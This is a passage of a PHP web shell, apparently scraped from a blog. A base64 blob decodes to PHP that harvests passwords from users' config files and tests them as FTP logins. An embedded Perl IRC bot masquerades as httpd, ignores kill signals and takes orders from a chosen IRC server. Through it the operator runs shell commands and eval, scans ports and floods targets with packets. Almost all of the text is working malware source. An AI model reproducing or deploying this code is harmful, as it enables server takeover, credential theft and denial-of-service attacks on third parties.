t+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg=";
2165                 if (!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname'])) {
2166                     $ircadmin = $_POST['ircadmin'];
2167                     $ircserver = $_POST['ircserver'];
2168                     $ircchan = $_POST['ircchanal'];
2169                     $irclabel = $_POST['ircname'];
2170                     echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
2171                     echo "<body bgcolor=\"black\" text=\"green\">";
2172                     echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
2173                     echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
2174                     $file = "
2175 
2176 ###
2177 ###
2178 ###
2179 ###
2180 ###
2181 ###
2182 ###
2183 ### CONFIGURACAO 
2184 ###
2185 ###
2186 ###
2187 ###
2188 ###
2189 ###
2190 ###
2191 ###
2192 ###
2193 ###
2194 ###
2195 ###
2196 ###
2197 ###
2198 ###
2199 ###
2200 ###
2201 ###
2202 ###
2203 ###
2204 ###
2205 ###
2206 ###
2207 ###
2208 ###
2209 ###
2210 ###
2211 ###
2212 ###
2213 ###
2214 ###
2215 ####
2216 my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
2217 #----------------------------------------------
2218 ###
2219 ###
2220 ###
2221 ###
2222 ###
2223 ###
2224 ###
2225 ###
2226 ###
2227 ###
2228 ###
2229 ###
2230 ###
2231 ###
2232 ###
2233 ###
2234 ###
2235 ###
2236 ###
2237 ###
2238 ###
2239 ###
2240 ###
2241 ###
2242 my \$linas_max='48'; # Evita o flood <img src="/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley" /> depois de X linhas #
2243 #----------------------------------------------
2244 ###
2245 ###
2246 ###
2247 ###
2248 ###
2249 ###
2250 ###
2251 ###
2252 ###
2253 ###
2254 ###
2255 ###
2256 ###
2257 ###
2258 ###
2259 ###
2260 ###
2261 ###
2262 ###
2263 ###
2264 ###
2265 ###
2266 ###
2267 ###
2268 my \$sleep='4'; # ele dorme X segundos #
2269 
2270 ###
2271 ###
2272 ###
2273 ###
2274 ###
2275 ###
2276 ###
2277 ###
2278 ###
2279 #### IRC 
2280 ###
2281 ###
2282 ###
2283 ###
2284 ###
2285 ###
2286 ###
2287 ###
2288 ###
2289 ###
2290 ###
2291 ###
2292 ###
2293 ###
2294 ###
2295 ###
2296 ###
2297 ###
2298 ###
2299 ###
2300 ###
2301 ###
2302 ###
2303 ###
2304 ###
2305 ###
2306 ###
2307 ###
2308 ###
2309 ###
2310 ###
2311 ###
2312 ###
2313 ####
2314 my @adms=(\"$ircadmin\"); # Nick do administrador #
2315 #----------------------------------------------
2316 ###
2317 ###
2318 ###
2319 ###
2320 ###
2321 ###
2322 ###
2323 ###
2324 ###
2325 ###
2326 ###
2327 ###
2328 ###
2329 ###
2330 ###
2331 ###
2332 ###
2333 ###
2334 ###
2335 ###
2336 ###
2337 ###
2338 ###
2339 ###
2340 my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
2341 #----------------------------------------------
2342 ###
2343 ###
2344 ###
2345 ###
2346 ###
2347 ###
2348 ###
2349 ###
2350 ###
2351 ###
2352 ###
2353 ###
2354 ###
2355 ###
2356 ###
2357 ###
2358 ###
2359 ###
2360 ###
2361 ###
2362 ###
2363 ###
2364 ###
2365 ###
2366 my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
2367                                                # aparecer com numero radonamico no final #
2368 #----------------------------------------------
2369 ###
2370 ###
2371 ###
2372 ###
2373 ###
2374 ###
2375 ###
2376 ###
2377 ###
2378 ###
2379 ###
2380 ###
2381 ###
2382 ###
2383 ###
2384 ###
2385 ###
2386 ###
2387 ###
2388 ###
2389 ###
2390 ###
2391 ###
2392 ###
2393 my \$ircname = 'Linux'; # User ID #
2394 #----------------------------------------------
2395 ###
2396 ###
2397 ###
2398 ###
2399 ###
2400 ###
2401 ###
2402 ###
2403 ###
2404 ###
2405 ###
2406 ###
2407 ###
2408 ###
2409 ###
2410 ###
2411 ###
2412 ###
2413 ###
2414 ###
2415 ###
2416 ###
2417 ###
2418 ###
2419 chop (my \$realname = `uname -a`); # Full Name #
2420 #----------------------------------------------
2421 ###
2422 ###
2423 ###
2424 ###
2425 ###
2426 ###
2427 ###
2428 ###
2429 ###
2430 ###
2431 ###
2432 ###
2433 ###
2434 ###
2435 ###
2436 ###
2437 ###
2438 ###
2439 ###
2440 ###
2441 ###
2442 ###
2443 ###
2444 ###
2445 \$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
2446                                                # caso n?o seja especificado no argumento #
2447 #----------------------------------------------
2448 ###
2449 ###
2450 ###
2451 ###
2452 ###
2453 ###
2454 ###
2455 ###
2456 ###
2457 ###
2458 ###
2459 ###
2460 ###
2461 ###
2462 ###
2463 ###
2464 ###
2465 ###
2466 ###
2467 ###
2468 ###
2469 ###
2470 ###
2471 ###
2472 my \$porta='6667'; # Porta do servidor de irc #
2473 
2474 ###
2475 ###
2476 ###
2477 ###
2478 ###
2479 ###
2480 ###
2481 ### ACESSO A SHELL 
2482 ###
2483 ###
2484 ###
2485 ###
2486 ###
2487 ###
2488 ###
2489 ###
2490 ###
2491 ###
2492 ###
2493 ###
2494 ###
2495 ###
2496 ###
2497 ###
2498 ###
2499 ###
2500 ###
2501 ###
2502 ###
2503 ###
2504 ###
2505 ###
2506 ###
2507 ###
2508 ###
2509 ###
2510 ###
2511 ###
2512 ####
2513 my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
2514 
2515 ###
2516 ###
2517 ###
2518 ###
2519 ###
2520 ###
2521 ###
2522 ###
2523 ###
2524 ###
2525 ###
2526 ###
2527 ###
2528 ###
2529 ###
2530 ###
2531 ###
2532 ###
2533 ###
2534 ###
2535 ###
2536 ###
2537 ###
2538 ###
2539 ###
2540 ###
2541 ###
2542 ###
2543 ###
2544 ###
2545 ###
2546 ###
2547 ###
2548 ###
2549 ###
2550 ###
2551 ###
2552 ###
2553 ###
2554 ###
2555 ###
2556 ###
2557 ###
2558 ###
2559 ###
2560 ###
2561 ####
2562 my \$VERSAO = '0.2';
2563 \$SIG{'INT'} = 'IGNORE';
2564 \$SIG{'HUP'} = 'IGNORE';
2565 \$SIG{'TERM'} = 'IGNORE';
2566 \$SIG{'CHLD'} = 'IGNORE';
2567 \$SIG{'PS'} = 'IGNORE';
2568 \$SIG{'STOP'} = 'IGNORE';
2569 use IO::Socket;
2570 use Socket;
2571 use IO::Select;
2572 chdir(\"/\");
2573 \$servidor=\"\$ARGV[0]\" if \$ARGV[0];
2574 $0=\"\$processo\".\"&#92;&#48;\"x16;;
2575 my \$pid=fork;
2576 exit if \$pid;
2577 die \"Problema com o fork: $!\" unless defined(\$pid);
2578 my \$dcc_sel = new IO::Select->new();
2579 
2580 ###
2581 ###
2582 ###
2583 ###
2584 ###
2585 ###
2586 ###
2587 ###
2588 ###
2589 ###
2590 ###
2591 ###
2592 ###
2593 ####
2594 # B0tchZ na veia ehehe <img src="/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley" /> #
2595 
2596 ###
2597 ###
2598 ###
2599 ###
2600 ###
2601 ###
2602 ###
2603 ###
2604 ###
2605 ###
2606 ###
2607 ###
2608 ###
2609 ####
2610 
2611 \$sel_cliente = IO::Select->new();
2612 sub sendraw {
2613   if ($#_ == '1') {
2614     my \$socket = \$_[0];
2615     print \$socket \"\$_[1]\\n\";
2616   } else {
2617       print \$IRC_cur_socket \"\$_[0]\\n\";
2618   }
2619 }
2620 
2621 ###
2622 ###
2623 ###
2624 ###
2625 ###
2626 ###
2627 ###
2628 ###
2629 ###
2630 ###
2631 ###
2632 ###
2633 ###
2634 ###
2635 ###
2636 ####
2637 sub conectar {
2638    my \$meunick = \$_[0];
2639    my \$servidor_con = \$_[1];
2640    my \$porta_con = \$_[2];
2641 
2642    my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
2643    if (defined(\$IRC_socket)) {
2644      \$IRC_cur_socket = \$IRC_socket;
2645 
2646      \$IRC_socket->autoflush(1);
2647      \$sel_cliente->add(\$IRC_socket);
2648 
2649      \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
2650      \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
2651      \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
2652      \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
2653      nick(\"\$meunick\");
2654      sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
2655      sleep 1;
2656    }
2657 } 
2658 ###
2659 ###
2660 ###
2661 ###
2662 ###
2663 ###
2664 ###
2665 ###
2666 ###
2667 ####
2668 
2669 my \$line_temp;
2670 while( 1 ) {
2671    while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
2672    delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
2673    &DCC::connections;
2674    my @ready = \$sel_cliente->can_read(0);
2675    next unless(@ready);
2676    foreach \$fh (@ready) {
2677      \$IRC_cur_socket = \$fh;
2678      \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
2679      \$nread = sysread(\$fh, \$msg, 4096);
2680      if (\$nread == 0) {
2681         \$sel_cliente->remove(\$fh);
2682         \$fh->close;
2683         delete(\$irc_servers{\$fh});
2684      }
2685      @lines = split (/\\n/, \$msg);
2686 
2687      for(my \$c=0; \$c<= $#lines; \$c++) {
2688        \$line = \$lines[\$c];
2689        \$line=\$line_temp.\$line if (\$line_temp);
2690        \$line_temp='';
2691        \$line =~ s/\\r$//;
2692        unless (\$c == $#lines) {
2693          parse(\"\$line\");
2694        } else {
2695            if ($#lines == 0) {
2696              parse(\"\$line\");
2697            } elsif (\$lines[\$c] =~ /\\r$/) {
2698                parse(\"\$line\");
2699            } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
2700                parse(\"\$line\");
2701            } else {
2702                \$line_temp = \$line;
2703            }
2704        }
2705       }
2706    }
2707 }
2708 
2709 
2710 ###
2711 ###
2712 ###
2713 ###
2714 ###
2715 ###
2716 ###
2717 ###
2718 ###
2719 ###
2720 ###
2721 ####
2722 
2723 
2724 sub parse {
2725    my \$servarg = shift;
2726    if (\$servarg =~ /^PING \:(.*)/) {
2727      sendraw(\"PONG :$1\");
2728    } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
2729        my \$pn=$1; my \$onde = $4; my \$args = $5;
2730        if (\$args =~ /^\&#92;&#48;01VERSION\&#92;&#48;01$/) {
2731          notice(\"\$pn\", \"\&#92;&#48;01VERSION ShellBOT-\$VERSAO por 0ldW0lf\&#92;&#48;01\");
2732        }
2733        if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
2734          if (\$onde eq \"\$meunick\"){
2735            shell(\"\$pn\", \"\$args\");
2736          }
2737          if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
2738             my \$natrix = $1;
2739             my \$arg = $2;
2740             if (\$arg =~ /^\!(.*)/) {
2741               ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
2742             } elsif (\$arg =~ /^\@(.*)/) {
2743                 \$ondep = \$onde;
2744                 \$ondep = \$pn if \$onde eq \$meunick;
2745                 bfunc(\"\$ondep\",\"$1\");
2746             } else {
2747                 shell(\"\$onde\", \"\$arg\");
2748             }
2749          }
2750        }
2751    } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
2752        if (lc($1) eq lc(\$meunick)) {
2753          \$meunick=$4;
2754          \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
2755        }
2756    } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
2757        nick(\"\$meunick\".int rand(9999));
2758    } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
2759        \$meunick = $2;
2760        \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
2761        \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
2762        foreach my \$canal (@canais) {
2763          sendraw(\"JOIN \$canal\");
2764        }
2765    }
2766 }
2767 
2768 ###
2769 ###
2770 ###
2771 ###
2772 ###
2773 ###
2774 ###
2775 ###
2776 ###
2777 ###
2778 ###
2779 ###
2780 ###
2781 
2782 sub bfunc {
2783   my \$printl = \$_[0];
2784   my \$funcarg = \$_[1];
2785   if (my \$pid = fork) {
2786      waitpid(\$pid, 0);
2787   } else {
2788       if (fork) {
2789          exit;
2790        } else {
2791            if (\$funcarg =~ /^portscan (.*)/) {
2792              my \$hostip=\"$1\";
2793              my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
2794              my (@aberta, %porta_banner);
2795              foreach my \$porta (@portas) {
2796                 my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
2797                 if (\$scansock) {
2798                    push (@aberta, \$porta);
2799                    \$scansock->close;
2800                 }
2801              }
2802 
2803              if (@aberta) {
2804                sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
2805              } else {
2806                  sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
2807              }
2808            }
2809            if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
2810              my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
2811              \$dtime = 1 if \$dtime == 0;
2812              my %bytes;
2813              \$bytes{igmp} = $2 * \$pacotes{igmp};
2814              \$bytes{icmp} = $2 * \$pacotes{icmp};
2815              \$bytes{o} = $2 * \$pacotes{o};
2816              \$bytes{udp} = $2 * \$pacotes{udp};
2817              \$bytes{tcp} = $2 * \$pacotes{tcp};
2818 
2819              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\&#92;&#48;02 - Status GERAL -\&#92;&#48;02\");
2820              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\&#92;&#48;02Tempo\&#92;&#48;02: \$dtime\".\"s\");
2821              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\&#92;&#48;02Total pacotes\&#92;&#48;02: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
2822              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\&#92;&#48;02Total bytes\&#92;&#48;02: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
2823              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\&#92;&#48;02Media de envio\&#92;&#48;02: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
2824 
2825            }
2826            exit;
2827        }
2828   }
2829 }
2830 
2831 ###
2832 ###
2833 ###
2834 ###
2835 ###
2836 ###
2837 ###
2838 ###
2839 ###
2840 ###
2841 ###
2842 ###
2843 ###
2844 
2845 
2846 sub ircase {
2847   my (\$kem, \$printl, \$case) = @_;
2848 
2849 
2850   if (\$case =~ /^join (.*)/) {
2851      j(\"$1\");
2852    }
2853    if (\$case =~ /^part (.*)/) {
2854       p(\"$1\");
2855    }
2856    if (\$case =~ /^rejoin\s+(.*)/) {
2857       my \$chan = $1;
2858       if (\$chan =~ /^(\d+) (.*)/) {
2859         for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
2860           p(\"$2\");
2861           j(\"$2\");
2862         }
2863       } else {
2864           p(\"\$chan\");
2865           j(\"\$chan\");
2866       }
2867    }
2868    if (\$case =~ /^op/) {
2869       op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
2870       my \$oarg = substr(\$case, 3);
2871       op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
2872    }
2873    if (\$case =~ /^deop/) {
2874       deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
2875       my \$oarg = substr(\$case, 5);
2876       deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
2877    }
2878    if (\$case =~ /^voice/) {
2879       voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
2880       \$oarg = substr(\$case, 6);
2881       voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
2882    }
2883    if (\$case =~ /^devoice/) {
2884       devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
2885       \$oarg = substr(\$case, 8);
2886       devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
2887    }
2888    if (\$case =~ /^msg\s+(\S+) (.*)/) {
2889       msg(\"$1\", \"$2\");
2890    }
2891    if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
2892       for (my \$cf = 1; \$cf <= $1; \$cf++) {
2893         msg(\"$2\", \"$3\");
2894       }
2895    }
2896    if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
2897       ctcp(\"$1\", \"$2\");
2898    }
2899    if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
2900       for (my \$cf = 1; \$cf <= $1; \$cf++) {
2901         ctcp(\"$2\", \"$3\");
2902       }
2903    }
2904    if (\$case =~ /^invite\s+(\S+) (.*)/) {
2905       invite(\"$1\", \"$2\");
2906    }
2907    if (\$case =~ /^nick (.*)/) {
2908       nick(\"$1\");
2909    }
2910    if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
2911        conectar(\"$2\", \"$1\", 6667);
2912    }
2913    if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
2914       DCC::SEND(\"$1\", \"$2\");
2915    }
2916    if (\$case =~ /^raw (.*)/) {
2917       sendraw(\"$1\");
2918    }
2919    if (\$case =~ /^eval (.*)/) {
2920      eval \"$1\";
2921    }
2922 }
2923 
2924 ###
2925 ###
2926 ###
2927 ###
2928 ###
2929 ###
2930 ###
2931 ###
2932 ###
2933 ###
2934 ###
2935 ###
2936 ###
2937 
2938 sub shell {
2939   return unless \$secv;
2940   my \$printl=\$_[0];
2941   my \$comando=\$_[1];
2942   if (\$comando =~ /cd (.*)/) {
2943     chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench <img src="/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley" /> \");
2944     return;
2945   }
2946   elsif (\$pid = fork) {
2947      waitpid(\$pid, 0);
2948   } else {
2949       if (fork) {
2950          exit;
2951        } else {
2952            my @resp=`\$comando 2>&1 3>&1`;
2953            my \$c=0;
2954            foreach my \$linha (@resp) {
2955              \$c++;
2956              chop \$linha;
2957              sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
2958              if (\$c == \"\$linas_max\") {
2959                \$c=0;
2960                sleep \$sleep;
2961              }
2962            }
2963            exit;
2964        }
2965   }
2966 }
2967 
2968 #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
2969 sub attacker {
2970   my \$iaddr = inet_aton(\$_[0]);
2971   my \$msg = 'B' x \$_[1];
2972   my \$ftime = \$_[2];
2973   my \$cp = 0;
2974   my (%pacotes);
2975   \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
2976 
2977   socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
2978   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
2979   socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
2980   socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
2981   return(undef) if \$cp == 4;
2982   my \$itime = time;
2983   my (\$cur_time);
2984   while ( 1 ) {
2985      for (my \$porta = 1; \$porta <= 65535; \$porta++) {
2986        \$cur_time = time - \$itime;
2987        last if \$cur_time >= \$ftime;
2988        send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
2989        send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
2990        send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
2991        send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
2992 
2993        # DoS ?? <img src="/wp-includes/images/smilies/icon_razz.gif" alt=":P" class="wp-smiley" />
2994        for (my \$pc = 3; \$pc <= 255;\$pc++) {
2995          next if \$pc == 6;
2996          \$cur_time = time - \$itime;
2997          last if \$cur_time >= \$ftime;
2998          socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
2999          send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
3000        }
3001      }
3002      last if \$cur_time >= \$ftime;
3003   }
3004   return(\$cur_time, %pacotes);
3005 }
3006 
3007 
3008 ###
3009 ###
3010 ###
3011 ###
3012 ###
3013 ####
3014 # ALIASES #
3015 
3016 ###
3017 ###
3018 ###
3019 ###
3020 ###
3021 ####
3022 
3023 sub action {
3024    return unless $#_ == 1;
3025    sendraw(\"PRIVMSG \$_[0] :\&#92;&#48;01ACTION \$_[1]\&#92;&#48;01\");
3026 }
3027 
3028 sub ctcp {
3029    return unless $#_ == 1;
3030    sendraw(\"PRIVMSG \$_[0] :\&#92;&#48;01\$_[1]\&#92;&#48;01\");
3031 }
3032 sub msg {
3033    return unless $#_ == 1;
3034    sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
3035 }
3036 
3037 sub notice {
3038    return unless $#_ == 1;
3039    sendraw(\"NOTICE \$_[0] :\$_[1]\");
3040 }
3041 
3042 sub op {
3043    return unless $#_ == 1;
3044    sendraw(\"MODE \$_[0] +o \$_[1]\");
3045 }
3046 sub deop {
3047    return unless $#_ == 1;
3048    sendraw(\"MODE \$_[0] -o \$_[1]\");
3049 }
3050 sub hop {
3051     return unless $#_ == 1;
3052    sendraw(\"MODE \$_[0] +h \$_[1]\");
3053 }
3054 sub dehop {
3055    return unless $#_ == 1;
3056    sendraw(\"MODE \$_[0] +h \$_[1]\");
3057 }
3058 sub voice {
3059    return unless $#_ == 1;
3060    sendraw(\"MODE \$_[0] +v \$_[1]\");
3061 }
3062 sub devoice {
3063    return unless $#_ == 1;
3064    sendraw(\"MODE \$_[0] -v \$_[1]\");
3065 }
3066 sub ban {
3067    return unless $#_ == 1;
3068    sendraw(\"MODE \$_[0] +b \$_[1]\");
3069 }
3070 sub unban {
3071    return unless $#_ == 1;
3072    sendraw(\"MODE \$_[0] -b \$_[1]\");
3073 }
3074 sub kick {
3075    return unless $#_ == 1;
3076    sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
3077 }
3078 
3079 sub modo {
3080    return unless $#_ == 0;
3081    sendraw(\"MODE \$_[0] \$_[1]\");
3082 }
3083 sub mode { modo(@_); }
3084 
3085 sub j { &join(@_); }
3086 sub join {
3087    return unless $#_ == 0;
3088    sendraw(\"JOIN \$_[0]\");
3089 }
3090 sub p { part(@_); }
3091 sub part {sendraw(\"PART \$_[0]\");}
3092 
3093 sub nick {
3094   return unless $#_ == 0;
3095   sendraw(\"NICK \$_[0]\");
3096 }
3097 
3098 sub invite {
3099    return unless $#_ == 1;
3100    sendraw(\"INVITE \$_[1] \$_[0]\");
3101 }
3102 sub topico {
3103    return unless $#_ == 1;
3104    sendraw(\"TOPIC \$_[0] \$_[1]\");
3105 }
3106 sub topic { topico(@_); }
3107 
3108 sub whois {
3109   return unless $#_ == 0;
3110   sendraw(\"WHOIS \$_[0]\");
3111 }
3112 sub who {
3113   return unless $#_ == 0;
3114   sendraw(\"WHO \$_[0]\");
3115 }
3116 sub names {
3117   return unless $#_ == 0;
3118   sendraw(\"NAMES \$_[0]\");
3119 }
3120 sub away {
3121   sendraw(\"AWAY \$_[0]\");
3122 }
3123 sub back { away(); }
3124 sub quit {
3125   sendraw(\"QUIT :\$_[0]\");
3126 }
3127 
3128 # DCC
3129 
3130 ###
3131 ###
3132 ###
3133 ###
3134 ###
3135 ###
3136 ###
3137 ###
3138 ###
3139 ###
3140 ###
3141 ####
3142 
3143 package DCC;
3144 
3145 sub connections {
3146    my @ready = \$dcc_sel->can_read(1);
3147 # return unless (@ready);
3148    foreach my \$fh (@ready) {
